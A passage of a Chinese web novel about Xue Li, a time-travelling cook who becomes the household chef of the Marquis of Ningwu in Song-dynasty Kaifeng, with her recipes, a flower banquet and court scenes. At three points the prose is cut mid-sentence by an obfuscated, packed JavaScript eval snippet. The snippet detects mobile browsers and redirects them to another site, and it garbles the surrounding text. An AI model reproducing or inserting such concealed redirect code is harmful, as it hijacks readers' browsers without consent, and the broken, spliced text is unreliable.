第一口是皮蛋的独有碱香与氨气在舌尖炸开，初尝时教人不由微微蹙眉，可转瞬间，茄泥中那股子热辣劲儿便自喉底蹿上，冲刷去了原始的怪味。最妙是那半融半化的蛋黄，裹着茄肉滑过喉头时，竟带出一丝回甘，两者搭配起来奇怪得紧，却竟也别有一番滋味，教人欲罢不能！ 云冯一个劲儿瞧着郭栗祥往嘴里送入此菜，心中冒出诧异之感：这黑乎乎的菜肴当真可以下咽？ “侯爷，小人愿以性命担保，此菜绝对无毒！”郭栗祥赶忙咽下嘴里最后一口，抹抹嘴角，口沫横飞道，“薛小娘子的做菜之法是古怪难见了些，可道道都叫人拍案惊奇。就譬如，前些时日侯爷所吃的酸豆闷鹅掌、笋焙鹌子、奈香盒蟹、香酥牛角包......” 郭栗祥一报起菜名儿便打不住嘴，一个劲地往外倒，越说越起劲，眼见着齐恂面色沉下去，他才急忙收口，飞快跳过中段，抢出一句：“这些菜皆是经过薛小娘子指点，才得以对上侯爷胃口，侯爷若不信，不如亦尝尝此菜？小人敢打包票，此菜的滋味定可使侯爷信服！” 听他如是激昂地滔滔念着，齐恂的视线不由得落在那臼黑咕隆咚的东西上，眉头微蹙。 “侯爷，您看......？”云冯在一边悻悻递上碗箸。 他承认，其实是他自个儿好奇也馋了。 齐恂未动分毫，平淡地瞥了他一眼，云冯便麻利地收起碗筷，背于身后。 “且慢！刀下留人——！” 齐恂尚未发话，一道惊叫女声便从院外猛地破入。 说时迟，那时快，在场众人皆一愣，只见齐悦气喘汗流地大步冲来，着急忙慌地拽住云冯的手，片刻后，却又一脸懵然：“咦……怎么是碗箸？你拿着的，不是刀呀？” 云冯亦惊讶呢：“悦姐儿，您怎的来了？” 薛荔同样愣住了，看着齐悦的眼神满是困惑。 这......这又是哪一出？ 院中片刻沉寂，唯有齐恂神情淡定，行若无事：“怎么，端了你的饭馆子，如今来同我着急了？” 他居然一早就知晓！ 齐悦呆呆地望着兄长，半晌才找回声音，飞快辩解道：“阿兄，我错了，我不该私自跑出府用膳，亦不该任性胡闹绝食……可阿荔是无辜的！她是在我的威迫利诱之下，势不得已才无奈做饭的，你可不能迁怒于她！” “阿兄？” 薛荔瞪大眼睛看着齐悦，一脸不可置信：“你……你唤他阿兄？” 见齐恂不言，齐悦立马回头朝她挤眉弄眼，比了个噤声手势，又立马将头扭回去，冲天上竖起三指发誓：“皇天后土为证，我齐悦愿从今日起一日三餐不落，只求兄长放阿荔自由。阿兄，好阿兄——” 说到最后，她干脆耍起赖来，凑到齐恂身边拉着他袖口晃荡个不停。 地上的郭栗祥亦在帮忙说好话，小眼笑眯眯了道：“侯爷！这位薛小娘子厨艺奇佳，我同小姐皆是有目共睹的，更何况，她还精通药理，擅制药膳，您不如让她留在府中做些拿手饭菜，一来省得悦姐儿再闹绝食，二来还可为您食补养伤，岂不美矣？” 齐悦闻言，连连点头，目光灼灼：“正是正是！官家不是一直在为阿兄寻找合适的厨子么？我瞧阿荔便合适得很！不——当是最合适之人！” 话至此处，齐恂看薛荔的眼神多了几分探究意味。 平日里，齐悦与郭栗祥本就是再讲究不过的二人。一个娇气使性，另一个求全责备，如今倒一唱一和地为她说情，着实有趣。 而思及前段时日从齐悦处尝到的点心，再思及郭栗祥近来愈发见长精进的手艺，竟都出自她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707268|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手，齐恂抿了抿唇。 “既然......”他话未落地，便被薛荔抢了先。 “使不得使不得！我不能留在侯府！”薛荔蹭地跳出来，话出口比脑子转得还快。 院中四道目光齐刷刷地投来，反倒把她瞅得脊背发凉，讪讪一笑：“小女子的意思是，自己尚有一间食肆需打理，若又在侯府当差，只怕分身乏术，怠慢了贵府众人，反倒不好。” 哪有既在侯府内做事，又能在坊间开店的好事？ 一旦进了这府门，她不光得关了珍味铺，遣了喜鱼和三个小萝卜头，连自由也得拱手送出。最重要的是，她还得日日面对这尊爷，每天小心翼翼过日子，不划算，实在不划算。 如是想着，她竟自顾自地轻轻点了点头，对自己的想法深表赞同与支持。 对面的齐恂敏锐捕捉到她脸庞上的小表情，和眼眸里一闪而逝的狡黠，唇角微勾。 小狐狸，倒真是只精明万分的小狐狸。 他该不会是不悦了罢？还是已动怒了？ 薛荔心头一跳，看着齐恂那张冰山似的脸庞，揣度起他的心思，亦为自己的小命掐了把冷汗。 方才那一嗓子，她都忘了这不是自己原来所在的时代。搁这天子穆穆至尊，贵戚权门亦咸遂荣泽的朝代，保不准她就会被扣个“失礼犯上”的罪名捉去蹲牢狱，一感铁窗风味。 更何况，经过前段时日各方面的了解，这位宁武侯为人又挑剔苛刻…… 薛荔仰头望了望青天上的大好丽日，只差落下一行清泪来。也不知，这会不会是她最后一回沐浴在此等和煦温柔的春光之下了。 “薛店主言之成理。”齐恂终于开口，“既如此，便劳请你经营珍味铺之余，兼顾侯府后厨。至于俸钱……” 齐恂恰到好处地停顿少顷，瞧见了薛荔眼底忽而冒出的那份雀跃，他淡淡笑了下：“朝廷请俸，素来不薄。” - “你说，他那句是何意思？” 珍味铺的灶房里，薛荔一面解压地拔着鸡毛，一面烦闷地问姜喜鱼道。 “朝廷请俸，素来不薄”？薛荔撇了撇嘴，可她又非朝廷命官，怎就牵扯到朝廷俸禄了呢？ “你还没琢磨明白？”姜喜鱼摇摇头，“那意思不就是你揭了皇榜，从此发你俸钱的便是朝廷了。” “揭皇榜！？”薛荔骤然停下手里动作，惊讶望她，“我何时有揭过那张皇榜？” 姜喜鱼无奈地耸了耸肩：“你是不曾揭过，可人家侯爷话里话外不正明摆了么？” “可我压根儿没答应啊！”薛荔楞了半晌，仔细回想那日与齐恂的对话，“我是应了他每日去侯府帮厨不错，可从未说过要做那揭榜的厨头！” 姜喜鱼走近她，语重心长地拍了拍她肩头：“好阿荔，你还是早些接受事实的好，那宁武侯是何人？他说你揭了这皇榜，那你就是揭了，换了谁来那都不行。再说了，你若成了这揭榜之人，一举成名天下知，来日咱们珍味铺的生意不知道要红火成什么样哩！” 薛荔哑口无言，默了良久。 赚大钱，与被人摆了一道，两种情绪在她心中狠狠地干了一仗，终了，还是前者大获全胜。 24. 枣菇炖仔鸡 薛荔为自己不争气的见钱眼开之道而愤，此刻气不忿儿地捉着那只光溜儿白净的仔鸡往锅中一丢，激起一圈汤花。 亏她还想着既然拿了侯府的薪水，那便要克尽厥职，第一餐便煲只枣菇炖仔鸡给那宁武侯好好补补身子，谁知那人清风玉骨的君子面庞下，竟是一张丑恶小人嘴脸，当真教人气急。 可气归气，再气又能如何？ 薛荔只得努力让自己想想那笔丰厚的俸钱，一边备着菜，心绪亦就慢慢和缓下来。 “咦？”姜喜鱼凑至她身边瞅，“这香蕈为何要以米泔水来泡？” 薛荔一面将童子鸡飞水焯去血沫，一面同她解释道：“这香蕈褶皱多，里头藏着泥腥味，而米泔水稠乎乎的，用来浸泡香蕈，可散去不少腥臊气。” 其实，这做法在《山家清供》里早就记载着，“米泔浸蕈，去浊存清”，她不过是借鉴借鉴此法罢了。若要换种科学些的说法，那便是淘米水里含有淀粉酶与弱碱性物质，能够很好地分解香菇细胞壁的几丁质，同时还中和掉酸性的土腥化合物。 “原是如此！”姜喜鱼豁然大悟，“阿荔，你这些小窍门儿真是太多，怪不得你做出来的菜滋味就是不一样！” 薛荔笑了笑，将泡好的香蕈放入砂锅底层后，随后又继续往里头加入黄芪、枸杞与干枣几味药材。 这枣还是她昨日离开侯府时，郭栗祥硬塞给她解馋的灵宝圆枣。这灵宝圆枣可与普通大枣大有不同，它产自灵宝沿黄河边的沙壤地带，紧实耐嚼，甘甜浓郁，市价乃十倍于寻常红枣，非权贵不能得。 郭栗祥也只是侯府之中的一个厨监，居然说送就送，且还是给她拿来当零嘴儿。 不愧是殊恩厚渥的宁武侯府，当真豪气呀！ 薛荔美滋滋地往自个儿嘴中塞了一颗，又塞了一颗给姜喜鱼，嘴里甜蜜蜜地哼着小曲儿，将飞好水的童子鸡铺在最上头，添入半盏醪糟汁与几片厚厚的老姜，眼下要做的便是武火将汤煮沸，再转文火慢煨两个时辰即可。 这时，一道风风火火的身影从前堂冲进来。 “阿荔姊姊！不好了！”馍儿着急忙慌地飞来，气喘吁吁地喊，“外头......外头来了好些个奇奇怪怪的人！” 闻言，薛荔与姜喜鱼对视一眼，拍了拍围裙：“莫慌！待阿姊我去瞧瞧，是何方妖魔鬼怪。” 还未至前堂，便已听得人声鼎沸一片，再定睛一瞧——嘿！那哪是什么奇怪之人呀！ 铺门外，为首之人头戴直角幞头，脚蹬鹿皮靴，身着一袭绛色圆领窄袖袍，打扮得一丝不苟——这不正是宫中内侍省高阶宦官的制式装扮么！ 且那人身后还跟着两名穿青罗衫的小黄门，手捧着朱漆托盘，上覆明黄绫缎。 薛荔眼睛瞬间一亮，穿越来宋朝这般长时间，她还是头一回见着圣旨呢！ 外头街坊被围得水泄不通，凑热闹之人亦议论纷纷： “诶，这薛记珍味铺的店家小娘子昨日才被宁武侯抓走，今日又被宫里找上门，难不成是犯了事？” “不是还说她是敌国派来的细作么？” “她这哪是细作呀，若真是细作的话，早该叫人抓去受刑了，宫廷内侍怎会这般和容悦色地候她？” “你们消息亦太不灵通了，哪有什么细作？这薛店主分明是那揭了皇榜之人！她要去宁武侯府邸做厨子了！” “......” 姜喜鱼做女贼这般多年，除开巡检司倾巢而出地来抓捕她，哪还见过这般阵仗？此刻是又兴奋又紧张，贴着薛荔耳边低声道：“这位该不会就是官家跟前的那位中贵人罢？” 这威仪，这仪仗，恐怕不是都说不过去了。 薛荔忙上前跪伏：“民女恭候敕命。” 那位宦官面白无须，眉眼威严，缓缓展开圣旨，嗓音尖细宣道： “有敕！ 敕：访得汴京珍味铺薛氏，调和鼎鼐有方，燔炙滋味擅场。今宁武侯开府延宾，宜得膳馐之巧。特准其揭榜应募，即日赴侯府典膳所听用。一应薪炭物料，依光禄寺外庖例支给。付薛氏准此！” 薛荔回想着从前看过的古装剧里的礼仪，高举起双手，接过敕轴：“民女薛荔，恭谢圣恩。” 那位宦官又上前虚扶她起身，和颜悦色：“宁武侯乃官家之股肱，其安康事关重大，这道差事，便有劳薛小娘子费心了。” “中贵人言重了，民女不敢怠慢。”薛荔哪敢受此话，“既揭了榜，那侯爷安危便是民女的分内事，定当悉心竭虑为侯爷调理身体。” 那宦官满意地点了点头，带两位小黄门乘素帷小轿而去。 本因宣旨而鸦默雀静的围观众人此刻又哗然起来——这可是官家宠臣，宁武侯府的差事！且还是宫中赐旨！那薛小娘子当真是走了天大的运！ 姜喜鱼直搂过薛荔肩头，亦笑得合不拢嘴：“好阿荔，这下可是泼天大福砸到咱头上了！” 连铺里那仨小娃们都拍手跳脚，一个个乐乐陶陶、欢天喜地起来，唯有薛荔本人脑壳直疼。 “欸，真是压力山大啊......”这宁武侯的身子骨要是好起来也就算了，若是一直不见起色，那她岂不是小命不保？ “鸭梨？啥鸭梨？”姜喜鱼空耳疑惑问。 薛荔轻轻叹息着摇了摇头，没想到，有朝一日她竟能与当初同自个儿哭诉的郭栗祥感同身受。 - 直至午时，薛荔才从宾客如云、座无虚席的珍味铺里挤出一条生路。 “诶呦，我的小姑奶奶，您怎地这时候才来？”侯府后厨里，郭栗祥的锅铲正抡得飞快，锅底都快冒火星了，一面往锅里撒料，一面急匆匆瞥一眼薛荔道。 这不是都怨你们家那位侯爷么。 “这不是铺子里太忙，这才来迟了些嘛。”薛荔将砂锅往空出的红泥小火炉上一搁，眉眼弯弯同他解释，“厨监你放心，这鸡我已提前炖了许久，待会儿只需略加调味便可上桌。” “炖鸡？”郭栗祥忍不住多瞧了几眼，“侯爷一向不喜鸡呀鸭啊的荤腥，你这能行么？” 薛荔没吭声，只拿起碗勺揭开砂锅盖舀出一小碗鸡汤，再捻一小撮盐巴撒入其中，搅匀后递到郭栗祥鼻子底下。 郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714616|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栗祥心领神会地接过小抿一口，少顷后，两眼放光地瞅着她：“我看行！” 薛荔得意地扬了下眉，目光一扫，又见灶间里厨工、帮厨们都火急火燎地忙碌着，不是在备菜便是烹菜，小厮更是频繁出入庖厨，马不停蹄地跑腿传菜，不禁问道：“今日府上设宴？” “可不是嘛！”郭栗祥顺手拿起汗巾，揩了把自脸颊淌下的汗珠，歇了口气，“前两日府中庭园万花齐放，府君大母特办赏花宴，邀全京城之贵女前来游赏。这眼福饱过，口福不亦得饱么？” 薛荔笑弯了眼：“我瞧府君大母恐怕不是请贵女来赏花，而是为侯爷选妻来了。” 郭栗祥一听，连忙“嘘”两声，神秘兮兮地张望了下四周，低声同她道：“甚么选妻不选妻的，可千万别在侯爷跟前说漏了嘴。他如今满心思都扑在忧国奉公上，最烦儿女情长之事了。” 薛荔捂嘴偷笑，只露出一双小狐狸似的眼溜溜地瞧人，点头唯唯：“知了，知了。” 见后厨事务着实繁多，薛荔向郭栗祥问了齐悦的住所，悄摸儿地盛了一大碗枣菇炖仔鸡进食盒，提了溜走寻齐悦去。 臭男人有的，她的小姊妹自然亦不能少。 话说回来，这宁武侯府可真是大，面阔五间，进深三间，金钉朱户，碧瓦盈檐。 膳房往前隔一道进院便是宴客厅，后头以穿廊相连，东侧的墨漆小门通往竹轩，西侧则是临水而筑的六角戏台。此时台上凤管鸾箫之声不绝，想来亦是那些名门贵女们在赏乐。 薛荔拎着食盒走了一大圈，直将自己绕晕都愣是未寻到齐悦院落。而时至正午，日头愈盛，她索性寻了处凉阴凉地小歇片刻。 ...... 庭园之中，葩华似锦，百花争妍，再往亭台水榭上一瞥，衣香髻影，更是翠绕珠围，群芳竞艳一片。 齐恂不觉有些头疼，欲借酒过三巡为由起身离席，却被太母乌氏强压着坐回席位。 齐恂无奈抿唇，意表不满，而乌氏却跟不曾瞧见似的，只煦煦笑着朝他道：“‘五味循序，方成宴道’，你既是主家，合该用膳过后再离席。” “太母教训得是。”齐恂只得含笑颔首。 他哪里不知太母心思，不过是见着同辈姊妹都过上了儿孙满堂，含饴弄孙的日子，心中难免艳羡罢了。 且此番出征，他又负重伤，更让她老人家躭惊受怕，凭添不少忧思。 犹记得卧床养伤的那段时日，太母命人搬一尊佛像至他房中，自个儿每日雷打不动地来求佛念经，且日日都求同一事，那便是盼着观音菩萨能天赐一个娃娃，谁人所生都不打紧，有则足矣。 太母的原话是这般：“你年纪还这般轻，若不得老天垂怜，死在那刀枪无眼之处，这一未成亲，二无后嗣的，待我百年之后，总不能教我这老婆子的亡魂为自己扶棺罢？” 后来，太母倒是不再拜佛，却转而对宴会起兴，隔三差五地便邀京城女眷前来相聚，美其名曰，陪她这位耳顺老媪解闷热闹。 齐恂看破不说破，只略显郁闷地从仆人那处接过消暑用的荔枝膏水，啜饮一口。 25. 芙蓉小荔子 这荔枝膏水虽冠“荔枝”之名，却并非以荔枝制成，而是以乌梅、肉桂、沙糖、生姜汁、蜂蜜熬制而成。北地难得鲜荔枝，故而也只能靠这般仿荔枝风味的饮子消暑。 说起“荔”，齐恂总觉这一字眼过于耳熟。 眼见着郭栗祥领着一众厨工将道道嘉肴美馔端上席，他忽而便忆起来了——这郭栗祥的“小师傅”，不正单名一个“荔”字么？ 话说，今日亦是她上工第一日，不知为他做了何稀奇古怪之菜肴。 这头，郭栗祥已站至太母乌氏身前，为她一一介绍菜品。 齐恂漫不经心地听着......嗯，咸有酒炊淮白鱼，开胃提鲜；甘有蜜煎雕花金橘，舒缓酒烈；酸有梅子姜豉，解腻生津；苦有苦笋煨火腿?，清热祛火；辛有?胡椒醋羊头，激人食欲。 “好好好。”乌氏眉开眼笑，抬手吩咐身后的嬷嬷给赏，“宴膳一事有你，我是再安心不过了。” 郭栗祥欢天喜地领了赏钱退下，齐恂则循例将每道菜肴一一尝之，终了，也欲起身告退。 唯独不巧的是——有客来访。 “晚辈琉珠，恭请乌老太君金安。” 齐恂脚步一顿，眉梢轻蹙，只得暂缓离席的念头。 来者乃兵部侍郎季大人的嫡女季琉珠。 她一头绸缎似的青丝绾就望仙髻，两侧斜簪垂珍珠步摇，身着一袭湘妃色百蝶穿花纹的交领襦裙，手持一柄绘折枝芍药的牙雕团扇，先朝乌氏盈盈问安过，再转眸望向齐恂，眉含娇羞，仪态万千地行着万福礼，温柔道：“恭请侯爷万福。” 齐恂神色淡淡，仅略颔首。 乌氏为他这般冷淡模样嗔怪，转脸又见季琉珠一副低眉垂眼、含情脉脉的模样，便开眉展眼地笑了，故作生气地低斥齐恂：“前段时日你卧病不起，无人陪我这老媪散闷解乏，还是琉珠三天两头前来看望，这才让我不那么烦闷。你倒好，眼下伤病好了大半，却不曾去过季府道谢，实非君子之道！” 闻言，齐恂无奈地垂眼看着自家老太太。又开始了。 季琉珠面颊微红，忙上前俯身握住乌氏的手：“老太君何必责怪侯爷，一切皆是琉珠自愿而为，只要老太君见着我心中欢喜，我便觉足矣了。” “果真是兵部侍郎教养出的好女儿。”乌氏满意地拍了拍季琉珠的手背，转头又朝着齐恂道，“今日庭园中的花开得最是酣盛，还不带琉珠去园中游赏一番？若是碰上甚么她欢喜的葩华，也好直接唤仆从摘下，绑束好送去季府。” “琉珠知晓，老太君最是疼我。”季琉珠莞尔，眼角余光飞快掠向齐恂，“正因如此，琉珠念及您膝腿不好，欲趁今日赏花宴，取一些素馨花瓣，加红花与花椒粒，制成膝置花囊予您。这样一来既可祛寒除湿，又可活血通络，日后碰上阴雨天气，膝头亦不会那般刺痛了。” 季琉珠念着，不禁抬手轻轻抚摸自己的额发。她一大清晨便以玉女桃花粉敷面，眉画倒晕眉，唇点檀珠妆，连两颊都细细贴了当下汴京城中最时兴的珍珠面靥，只为齐恂能记住自己最姣美的一面。 也不枉她在乌老太君身边耗了好一段时日功夫，今日终于如愿以偿。 听她如是说着，齐恂反倒展颜一笑：“我记得侯府所种素馨品种枝带细刺，季氏淑女千金贵体，不如留在此处伴太母听曲？我去吩咐仆从摘来便是。” 话音刚落，他便潇洒抬步离去，饶是乌氏在后头都只无奈地张了张嘴，未说得出半句话来。 这竖子！ 季琉珠孤零零地立身于一旁，窘得似两颊扑了朱红胭脂，双手绞着扇面。 乌氏于心底里叹息，奈何需顾及人家姑娘颜面，只好权作何事都不曾发生，慈祥地笑着唤她坐在自己身旁听曲儿。 - 好不易自虎窟狼窝之中脱身，齐恂总算觉耳根清净不少，连身子骨都松快许多。 宴客厅与庭园是万不可再去，方摆脱一个季琉珠，那两处不知还有多少李琉珠、王琉珠在等着他。 齐恂踏步青石小径，一面为回自己的院子竟也需绕小路而慨息，另一边抬臂推开院子侧门，却在门扉开启那刻，因眼前之景倏地停住步子，定在原处。 院中的石桌旁，有人正伏在桌上打瞌睡。 那妙龄小娘子着一袭藕荷色窄袖短襦，配浅青百褶罗裙，一头乌发玉润曼泽，以一素绢松松绾髻，鬓边簪了一朵莹莹雪白的?栀子花?，毋庸置疑，是从他院中那灌白栀子丛中摘来的。 合身上下，衣无锦缎，却显其洁；饰无金玉，却见其慧——好一个“清水出芙蓉”。 栀子花娇嫩而恬静地偎傍在那人珠玉般的脸庞，愈衬得她肌肤夷白。虽离得甚远，可他却好若嗅见那抹沁人花香。 许是他足下无轻重，踩踏到石板路上的青竹叶，发出簌簌声响，那小娘子微微动了动身子，颦蹙着眉头醒来，伸展着四肢，打了个漫长的呵欠，泪眼朦胧望向声源处。 下一瞬，细长的狐狸眼眸倏然圆睁开来。 “齐、齐......侯爷！”薛荔抹了把唇角边为梦中美食而流淌的哈喇子，赶忙起身，朝齐恂施礼，“民女见过侯爷。” 齐恂敛去方才眸底浮现的柔意，恢复惯常神色，淡淡应了声。 “你不在庖厨，跑到这处来做什么？”他走上前，看见石桌上搁着的食盒，心中忽而了然，微笑着抬眸看薛荔，“今日第一天当工，便迫不及待来送膳了？” 薛荔面上一红，欲言又止了小半晌。 这哪是给你吃的？你的那份还在大砂锅中未调味呢！ 眼下这份分明是她特意盛出，专给她家齐小妹享用的。 窘然的绯红被齐恂误认作脸皮薄，他欣然在石凳上坐下：“也好，既然都送到我院中来了，那便在此处用膳罢。” 你院子？！ 薛荔愕然地望了望四周，只见院内竹影清疏，石桥小池俱全，远处假山玲珑，连不起眼的绿植都养得极为葱蒨，再看屋檐下悬着的“墨竹堂”金字牌匾，她心头一沉。 这地方，确然是齐恂的宅院。 齐恂见她呆呆地杵在原地不动，倒也不恼，径自揽过布膳的活。 他摆碗铺箸，揭开食盒盖子一瞧，香气扑面的确而来，可却发现其中竟是半边仔鸡。 他提了筷子，在菜肴上方踯躅良久，终是静静地淡声问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718117|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她道：“难道郭栗祥不曾同你说过？我不喜鸡鸭之类的荤腥。” 薛荔这才回过神，一见他神色淡淡，心头便咯噔一下，忙熟稔又热切地自他手中接过汤匙碗盏，笑盈盈地为他盛汤：“侯爷有所不知，从小我耶娘便教我一句话——‘小鸡加红枣，胜似灵芝草’！” “这道枣菇炖仔鸡可是我一大清早便起灶细火慢炖着的，其中添了香蕈、黄芪、枸杞与灵宝圆枣，汤底还添有糯米酒作调味。侯爷若是愿尝尝，定觉滋味与寻常吃的有所不同。更不要说，黄芪补气养血、枸杞又补脏明目，鸡更是挑的顶好的‘汶上芦花鸡’，您眼下尚未全愈，以此菜进补，再合适不过了！” 她将那碗汤捧与他，眉眼弯弯，笑意里带点讨好，可他看了，却仍不免失笑。 齐恂接过那碗羹汤，小娘子的手微凉，一如方才那盏添了碎冰的荔枝膏水。 君子饮汤，极为讲究，先观汤色是否澄澈，再嗅药料香气，末了，方才以长柄羹匙舀汤，缓缓入口，慢饮体味，避免啜饮出声。 薛荔看得一阵无聊，只觉他喝汤也能整出一套镜头，索性一屁股在他身边的石凳上坐下，托腮打量他，越瞧越困，可谓是眼皮子都要睁不开了。 诶，古人就是规矩忒多了些。 吃美食么，怎么好吃怎么来，怎么开心怎么来，哪来那么多束缚人的门道! 忽听一声轻微脆响，汤碗落定于石桌面上，薛荔惺忪地睁开眼，立刻凑前，眼巴巴地问：“侯爷觉得，这汤滋味如何？” “尚佳。”齐恂以拭巾揾唇，抬眼看她，目光在她圆溜溜的眼睛上一顿，又速速移开，唇角捺笑。 “尚佳”？ 若旁人听了这评价，只怕得泄气，可若要以为薛荔亦会为这“尚佳”二字而气馁，那可就大谬不然了。 能从齐恂这样一个平时惜字如金的冰山玉郎的口中听到如是品评，那便已是极大褒赞了，她可不会对自个儿要求那般高。毕竟，她吃的可是皇饷！他又不给她发工资。 “今早宫里那道旨，想必你已收到了。”齐恂收起帕子，又关切起她来，“你也不必太过紧张，侯府的规矩不似外界所传那般苛密。更何况，你还有珍味铺需兼顾，切莫将身子劳累坏了。” 他竟还挂念着她的疲劳？ 这般和声细语，可不像传言中那位刻薄苛刻、眼里容不得沙子的宁武侯。 “多谢侯爷挂怀。”薛荔言谢，玩笑起来，“儿家亦是沾了侯爷的光，眼下珍味铺的生意已是红火万分，铺子里的伙计们都快忙得停不下来啦。” 可不是嘛，这道圣旨来得措手不及，铺中那三个娃娃们都要忙上天了。 齐恂呀齐恂，可真是太谢谢你了...... “你所言的‘伙计’，可是你铺中的那三个小童？” 齐恂轻皱眉头：“食肆营生本就辛劳，那几个孩童年纪尚小，若真叫他们端盘传菜、除扫结账，事毕还得你亲自查点，不如再多聘个得用的伙计来，总归是可替你分担些。” 薛荔听着听着，忽地心里一跳，想起什么似的，猛地瞅着他。 ……不是，他怎知晓她铺中有三个娃娃的？ 26. 白鱼辣羹饭 话说，薛荔入侯府当厨，不过短短数周，于人情世故上的耕耘成果便已粲然可观。 每日一小食，两日一冷盘，三日一点心，五日一大菜。 这些吃食，皆是她自珍味铺中做好了再带入侯府，府中上下吃得欢实，她却一文不收。如此“无本买卖”，谁人能不动心？ 侯府之中，下至车房小厮，上至府中太母院中的大女使，无一例外，皆尝过她的手艺。就连后厨原本带些成见的老人儿，也觍着老脸，悄悄打听起下一回她打算带些什么好吃的进府。 这俗话说得好——吃人嘴软，拿人手短。 薛荔不是不懂人情，她知道若想在侯府里过得滋润些许，必然少不了要同周围人处好关系，齐恂那尊冷面神佛她是暂且不敢想了，但府里上上下下的这些个同僚们，那还不是手到擒来嘛。 而在这一众侯府谋差的“嘴馋评审团”之中，要数一人，堪称薛荔之头号粉丝。 如是思忖着，薛荔的眸光不由得落在对面“哼哧哼哧”地往口里扒拉着白鱼辣羹饭的阿福脸上。 后者方往嘴里塞进一大口鱼肉，腮帮子鼓起老高，见她看过来，朝她憨实一笑，露出一口饭粒：“薛小娘子，我还是头一回知晓，寡淡无味的白鱼竟能做得这般有滋有味哩！” 自打尝过“云酥包”后，阿福便彻底折服成了薛荔的忠实信徒。 每每她拎着食盒还不见侯府大门呢，他便干劲冲天地跑上前来帮忙拎东西，哪怕里头盛着油汤，都稳稳妥妥不洒一滴。 府中上下谁嗜辣、谁怕姜、谁吃鱼会起疹子，全是他明察秋毫、耳提面命提供的“小情报”。 光凭着这两点助力，薛荔便时常在他饭盒里多添两只鸡腿，以资再接再厉。 这不，今日珍味铺中进了几尾翘嘴鲌，亦唤作“白鱼”，水灵灵地在盆里打转，薛荔见还能匀出一份餐食，便起了心思，特意给阿福开小灶，做出一份白鱼辣羹饭来。 这白鱼辣羹饭做起来不难，但滋味却令人咂舌。 她先挑了最活的一尾白鱼，去鳞开膛、快刀片成蝉翼般薄片，再以老酒与姜汁腌着备用。 炒时，要先将铁锅烧得发红，再添以她自个儿炼的豕油润锅。油热后，投花椒、姜丝爆香，霎时间，灶台便满是辛香浮动。 但这时候，还不能急着下鱼片炒熟——她提前几个时辰熬好的鱼骨浓汤才是灵魂。 此刻倾入鱼汤，待至汤滚如蟹眼，再将那鱼片滑入锅中。 雪刃般的鱼片在奶白色的汤底里浮浮沉沉，缓缓舒展，卷作花瓣状。随后落笋丝、金华火腿丝，佐以豉汁、淮盐与白胡椒粉调味，末了点一勺菉豆淀粉，勾薄芡收汁。 新炊的粳米饭铺底，饭尖尖上再浇上满满当当的鱼片辣羹，热气升腾，香气扑鼻，一碗红白相映、辛香透骨的白鱼辣羹饭便大功告成也。 阿福已吃到碗底，此刻高捧起碗来，直拿饭匙扒拉吸溜着碗底饱浸汤汁的米饭。 舌头打转间，那鱼片裹着椒麻，饭粒吸尽羹髓，笋丝脆爽，火腿咸香，竟也让他吃出点舍不得停的架势来。 得此一碗，人间再无憾事噫！ 阿福心满意足地咽下口中饭菜，咂咂嘴，拭了把嘴边油光：“薛小娘子，你是不晓得，自打你来后，府里好些人都胖了一圈。上个月裁新衣，库房那边可多支了好几匹绢布！” 薛荔笑着掩口：“不过是些粗浅手艺罢了，倒是阿福哥你这张嘴，比蜜煎局那蜜冬瓜鱼儿还甜上几分。” 阿福傻乐着挠头笑。 薛荔忆起正事，趁机问他道：“说来我入侯府，还是为给侯爷做膳食的，只是这些时日总不见侯爷身影。阿福哥，你可知侯爷到底去哪儿了？” 这实然是个令人头疼的大问题。 官家下旨命她为齐恂调养身子，可她连他人都见不着一面，更别说让他吃到她做的吃食了，就是把素白豆腐雕成飞凤腾龙，那亦是白搭。 再这般下去，齐恂体况不见好转，她可真要担心项上人头不保了。 阿福摊手摇头：“小娘子高看我了，我不过一介府兵，要说侯爷行踪，那无人能比云近卫更晓得了。” 云冯……？ 薛荔眼珠一转。恰巧，她还有话想找云冯问呢！ - 说干就干，趁着一日云冯在府，薛荔提上热气腾腾的美味小食，故作漫不经心地同他巧遇。 ——话题这不就自然而然地来了么！ 回廊之下。 云冯本是笑同薛荔颔首打了个招呼便要离去的，可清风一卷，将她臂弯处提篮里馥郁的香气送至鼻端时，他的步履却又不争气地打了个旋儿，反绕回来，缀在薛荔屁股后头走：“薛小娘子！你这可是要给大家伙儿送点心去？” 薛荔做佳肴饱众人口福一事，云冯早有耳闻，他亦想吃上好吃的，可每每到了饭点，他却总得为侯爷跑差去，只能羡得直咽口水，着实恼人。 “日日有小食，两日一冷盘，三日一甜点，五日一大菜”的规矩云冯早有听说，算算昨日众人吃的是水晶脍，今日该轮到点心了。 